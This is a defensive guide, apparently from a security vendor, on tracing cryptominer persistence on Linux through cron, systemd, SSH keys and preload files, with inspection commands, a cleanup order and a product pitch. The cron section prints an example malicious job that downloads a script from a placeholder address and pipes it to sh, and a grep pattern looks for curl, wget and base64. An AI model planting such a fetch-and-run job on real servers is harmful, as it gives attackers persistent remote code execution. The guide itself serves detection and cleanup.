Guides · Malware · 4 min
Cryptominer Keeps Coming Back? Finding Cron, systemd and SSH Key Persistence on Linux
You killed the process at 100% CPU and it was back an hour later. Here is where miners hide the thing that restarts them, and how to check each place.
A server pinned at 100% CPU with a process called kdevtmpfsi, kinsing, xmrig or a random string is usually a cryptominer. Killing it works for a few minutes. Then it returns, because the miner is only the payload. Something else on the box starts it again.
This guide covers where that something usually lives and how to check each place by hand.
First, find the process and where it runs from
top -o %CPU # note the PID of the busy process
sudo ls -l /proc/<PID>/exe
sudo cat /proc/<PID>/cmdline | tr '\0' ' '; echo
If exe points to a path ending in (deleted), the file was removed after starting, which is a common trick to hide it. Paths under /tmp, /var/tmp or /dev/shm are also a strong signal, because normal software is not installed there.
Look for hidden folders in those places too:
sudo find /tmp /var/tmp /dev/shm -maxdepth 2 -name '.*' -ls
Do not kill the process yet. First find what restarts it, or you will play whack-a-mole.
1. Cron, in every place cron reads
for u in $(cut -d: -f1 /etc/passwd); do sudo crontab -l -u "$u" 2>/dev/null | sed "s/^/$u: /"; done
sudo cat /etc/crontab
sudo ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron 2>/dev/null
The giveaway is a line that downloads and runs something, often every minute or five:
*/5 * * * * (curl -fsSL http://203.0.113.7/a.sh || wget -qO- http://203.0.113.7/a.sh) | sh
2. systemd services and timers
systemctl list-timers --all
systemctl list-unit-files --type=service --state=enabled
sudo find /etc/systemd/system /lib/systemd/system -newer /etc/hostname -name '*.service'
Open anything you do not recognise with systemctl cat <name> and read the ExecStart line. Names that copy real ones, like systemd-update.service or network-check.service, are common.
3. SSH keys and users
Attackers add their own key so they can log back in even after you change passwords.
sudo find / -name authorized_keys -path '*/.ssh/*' 2>/dev/null -exec sh -c 'echo "== $1"; ssh-keygen -lf "$1"' _ {} \;
awk -F: '$3 == 0 {print}' /etc/passwd # anyone besides root with UID 0?
Every key fingerprint should belong to someone you can name.
4. Library preload and shell startup files
cat /etc/ld.so.preload 2>/dev/null
sudo grep -rnE 'curl|wget|base64' /etc/profile.d /root/.bashrc /home/*/.bashrc 2>/dev/null
/etc/ld.so.preload should normally not exist. If it lists a library, that library is loaded into every program on the system and can hide files and processes from tools like ls and ps. At that point you cannot trust what the server tells you.
Clean up in the right order
- Block the download address in the firewall so the job cannot fetch the miner again.
- Disable each persistence item: comment out the cron line,
systemctl disable --nowthe unit, remove unknown keys. - Quarantine the files rather than deleting them, so you can study them:
mvthem to a root-only folder andchmod 000. - Only now kill the process.
- Watch for an hour. If anything comes back, there is a place you have not found.
Find out how they got in
Miners rarely arrive through clever exploits. The usual entry points are:
- Redis, Docker API or a database open to the internet without a password. See our guide on exposed databases.
- SSH with password logins and a weak or reused password.
- An outdated web app with a known remote code bug.
If you do not fix the entry point, a clean server is re-infected within days.
When to stop cleaning
If you found a preload library, a modified system binary, or a process running as root that you cannot account for, rebuild the server from a fresh image. A rootkit can survive anything you try in place.
How PortGate helps
The Malware & Backdoor Guard checks all of the places above on a schedule: cron files and systemd units that download and run code, new SSH keys, extra UID 0 users, hidden executables in /tmp and /dev/shm, processes running from deleted files, and shells connected to remote addresses. The Server & Infra Guard catches the usual entry points, such as Redis or Docker ports open to the internet and SSH password logins.